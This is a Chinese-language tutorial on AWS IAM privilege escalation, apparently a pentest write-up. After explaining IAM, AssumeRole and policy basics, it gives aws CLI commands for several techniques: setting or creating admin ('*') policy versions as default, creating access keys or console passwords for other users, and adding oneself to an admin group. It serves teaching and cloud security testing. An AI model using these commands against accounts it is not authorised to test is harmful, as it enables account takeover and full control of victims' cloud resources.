云安全之IAM权限提升场景和利用
基础知识
IAM
AWS 的 IAM 是指 Identity and Access Management(身份和访问管理)。它是 AWS 的一项服务,用于管理对 AWS 资源的安全访问。IAM 允许你控制用户、组和角色对 AWS 资源的访问权限。
IAM 的主要功能包括:
1.用户管理:你可以创建和管理具有自己的凭据的 IAM 用户。个用户可以被分配特定的权限,以便只能访问其工作所需的 AWS 资源。
2.组管理:1AM 允许你将用户放入组中,并为整个组分配权限这样,你可以轻松管理具有相似权限需求的用户集合。
3.权限管理:通过 IAM,你可以创建和管理权限策略,这些策略定义了哪些用户、组或角色可以访问哪些 AWS 资源以及如何访问这些资源。
4.角色管理:IAM 角色是一种安全身份,可以分配给 AWS 服务、托管服务或受信任的实体。角色使其他 AWS 服务可以安全地与彼此交互,而无需直接使用长期的安全凭据。
5.多因素身份验证(MFA):IAM 支持多因素身份验证,可以增加对 AWS 账户和资源的安全性。
通过 IAM,你可以实现最小特权原则,确保每个用户、服务或实体都只具有完成其工作所需的最低权限。这有助于提高 AWS 资源的安全性和合规性,并防止意外或恶意的资源访问和操
作。
sts:AssumeRole
在 AWS (Amazon Web Services) 中,sts:AssumeRole 是一个 API 操作,它属于 AWS Security Token Service (STS) 的一部分,主要用于允许用户或服务临时获取另一角色的权限。具体来说,sts:AssumeRole 允许一个 AWS 实体(如 IAM 用户、IAM 角色、AWS 服务等)获取一个临时的安全凭证,这些凭证通常包括访问密钥、会话令牌和到期时间,用于在有限的时间内进行身份验证和授权。
sts:AssumeRole 的作用
临时权限:sts:AssumeRole 允许 AWS 实体临时假扮为另一个角色,获得该角色的权限。这对于跨账户访问、委派权限、以及提供对受限操作的访问非常有用。
跨账户访问:sts:AssumeRole 可以用来在 AWS 账户之间进行资源访问。例如,一个 AWS 账户中的 IAM 用户或角色可以使用 sts:AssumeRole 操作来暂时假扮成另一个 AWS 账户中的角色,从而访问资源。
提升权限:通过 sts:AssumeRole,低权限用户可以临时获得更高权限的角色。例如,一个普通用户可以假扮为管理员角色执行某些操作,但权限会在会话结束后失效。
角色信任策略(Trust Policy)
角色的信任策略定义了谁可以调用 sts:AssumeRole。以下是一个信任策略的例子,允许 arn:aws:iam::123456789012:user/Susan 用户假扮为此角色:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::123456789012:user/Susan"
},
"Action": "sts:AssumeRole"
}
]
}
常用命令
手动枚举 - Users
列出账户中所有实体(用户、组、角色)的权限策略及其关联的权限。
aws iam get-account-authorization-details
获取用户列表
aws iam list-users
# 将返回指定 IAM 用户的元数据,包括用户的用户名、用户 ID、创建日期、附加的权
限策略以及其他相关信息。
aws iam get-user --user-name <username>
# 获取指定 IAM 用户内联策略
aws iam list-user-policies --user-name <username>
aws iam get-user-policy --user-name <username> --policy-name
<policyname>
# 获取指定 IAM 用户附加策略
aws iam list-attached-user-policies --user-name <username>
IAM 枚举工具
https://github.com/carlospolop/bf-aws-permissions
IAM 策略
在 AWS 中,IAM 策略是一个 JSON 格式的文档,用于定义谁可以访问哪些资源以及如何访问。
IAM 策略的组成
-
Version: 指定策略的版本,通常使用
2012-10-17
版本,这是当前的默认版本。 -
Statement: 策略的主体部分,每个声明描述了一个权限规则。一个策略可以有多个声明。
每个声明包含以下部分:
-
Effect: 定义是否允许(
Allow
)或拒绝(Deny
)特定的操作。通常为Allow
或Deny
。 -
Action: 指定允许或拒绝的 AWS 操作。每个 AWS 服务的操作都是通过
action
定义的,比如s3:PutObject
或ec2:StartInstances
。 -
Resource: 指定策略可以作用的资源。这通常是资源的 ARN(Amazon Resource Name),例如
arn:aws:s3:::my-bucket/*
。 - Condition: (可选)条件部分,用于进一步限制操作的执行。例如,可以指定仅当某些条件满足时才允许执行操作。
-
Effect: 定义是否允许(
比如举一个例子
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::my-bucket/*"
}
]
}
表示我可以从名为 my-bucket
的 S3 存储桶中获取对象
IAM 权限提升
SetDefaultPolicyVersion
漏洞原理
SetDefaultPolicyVersion
是 AWS IAM(Identity and Access Management)中的一个 API 操作,用于将指定的 IAM 策略版本设置为默认版本。每个 IAM 策略可以有多个版本,但只有一个版本可以是默认版本。默认版本是当前生效并用于评估权限的版本
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "iam:SetDefaultPolicyVersion",
"Resource": "arn:aws:iam::123456789012:policy/my-example-policy"
}
]
}
授予了用户或角色将 my-example-policy
策略的版本设置为默认版本的权限,我们只需要设置一个无限的权限策略就ok了
它可以指定
-
PolicyArn
: 要更新的 IAM 策略的 ARN(Amazon Resource Name)。这是你要更改默认版本的策略。
漏洞利用
我们设置一个权限
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
然后设置为默认
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
CreatePolicyVersion
漏洞原理
CreatePolicyVersion
是 AWS IAM(Identity and Access Management)中的一个 API 操作,用于创建 IAM 策略的新版本。AWS 允许在现有的 IAM 策略上创建多个版本,从而使你能够管理和更新策略,而不影响现有的访问权限。
一个权限的例子
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "iam:CreatePolicyVersion",
"Resource": "arn:aws:iam::123456789012:policy/my-example-policy"
}
]
}
安全的风险是在于--set-as-default参数
通常,只有拥有 iam:SetDefaultPolicyVersion
权限的用户才能设置一个策略的新版本为默认版本。
但是--set-as-default
参数允许用户 在没有显式权限的情况下 直接将新创建的版本设置为默认版本,从而绕过了 iam:SetDefaultPolicyVersion
权限限制。
漏洞利用
我们可以创建一个无所不能的管理员权限的策略
如下
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
这种策略允许执行任何操作,并且对所有资源都有访问权限,从而使得攻击者能够访问和管理整个 AWS 账户中的所有资源。
然后我们使用这个策略,并设置为默认的策略
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
--policy-arn <target_policy_arn>
:指定目标 IAM 策略的 ARN (Amazon Resource Name)。这是你要修改的现有策略。
--policy-document file:///path/to/administrator/policy.json
:指定一个新的策略文档,该文档包含你要赋予目标策略的权限。例如,可以是一个包含 Action: "*"
和 Resource: "*"
的文档,从而授予对所有 AWS 资源的访问权限。
--set-as-default
:将新创建的策略版本设置为默认版本,这意味着新的策略版本将取代旧版本,立即生效。
CreateAccessKey
漏洞原理
这个更简单 CreateAccessKey 用于为 IAM 用户创建新的 Access Key ID 和 Secret Access Key。这两个密钥是通过 AWS API 进行身份验证和授权的重要凭证,可以用来执行所有 AWS 支持的操作。
网上的 aws 的利用工具很多都是基于 Access Key ID 和 Secret Access Key 来利用的,而且云安全感觉最常利用的就是 Access Key ID 和 Secret Access Key 泄露了
而漏洞点也是很明显
通过 iam:CreateAccessKey 为目标用户生成一个新的 Access Key,从而获取该用户的身份验证凭证。我们就可以利用这些凭证以目标用户身份访问 AWS 服务。
漏洞利用
aws iam create-access-key --user-name <target_user>
创建后就会获取指定用户的 Access Key ID 和 Secret Access Key
后续的操作就和泄露是一样的
CreateLoginProfile&UpdateLoginProfile
用于为 IAM 用户创建或更新其登录配置文件,AWS 控制台密码是允许用户登录 AWS 管理控制台的凭证之一,而这两个权限可以让用户设置或更改其 AWS 控制台登录密码
iam:CreateLoginProfile 用于创建一个新用户的登录配置文件并设置密码。
iam:UpdateLoginProfile 用于更新现有用户的登录配置文件并修改密码。
CreateLoginProfile
我们可以通过执行 iam:CreateLoginProfile 命令,创建一个新的登录密码,从而使目标用户能够直接通过 AWS 控制台登录。
aws iam create-login-profile --user-name <target_user> --no-password-reset-required \
--password '<password>'
--user-name <target_user>:指定要为其创建登录配置文件的目标用户。
--no-password-reset-required:标志表明用户登录后不需要立即重置密码。
--password <password>
:指定要设置的密码。</target_user>
UpdateLoginProfile
这个和我们的创建大同小异
aws iam update-login-profile --user-name <target_user> --no-password-reset-required \
--password '<password>'
--user-name <target_user>:指定要更新其登录密码的目标用户。
--no-password-reset-required:表示在密码修改后,用户不需要强制重置密码。
--password <password>
:攻击者设置的新密码,可以是任意字符串。</target_user>
AddUserToGroup
AddUserToGroup 用于将一个 IAM 用户添加到指定的 IAM 组。IAM 组是一种将多个 IAM 用户集合在一起并赋予一组相同权限的方式。每个 IAM 组都可以关联一个或多个权限策略(例如,管理员权限策略)。通过将用户添加到某个组,用户可以继承该组的所有权限。
当一个我们拥有 iam:AddUserToGroup 权限时,我们就可以将自己或其他用户添加到具有较高权限的 IAM 组中
比如直接把自己加入到管理组
不过首先需要查看哪些组的权限是最大的
aws iam list-attached-group-policies --group-name <group_name>
列出该组附加的所有策略
其实控制台是最方便查看的
aws iam add-user-to-group --group-name <group_name> --user-name <username>
--group-name <group_name>:指定目标 IAM 组的名称,攻击者想要加入该组。该组可能是管理员组或其他具有较高权限的组。
--user-name <username>
:指定要添加的 IAM 用户名,通常是攻击者自己的用户名,或者如果攻击者具备其他权限,则可能添加其他用户。</group_name>
然后把自己添加到组中
参考https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc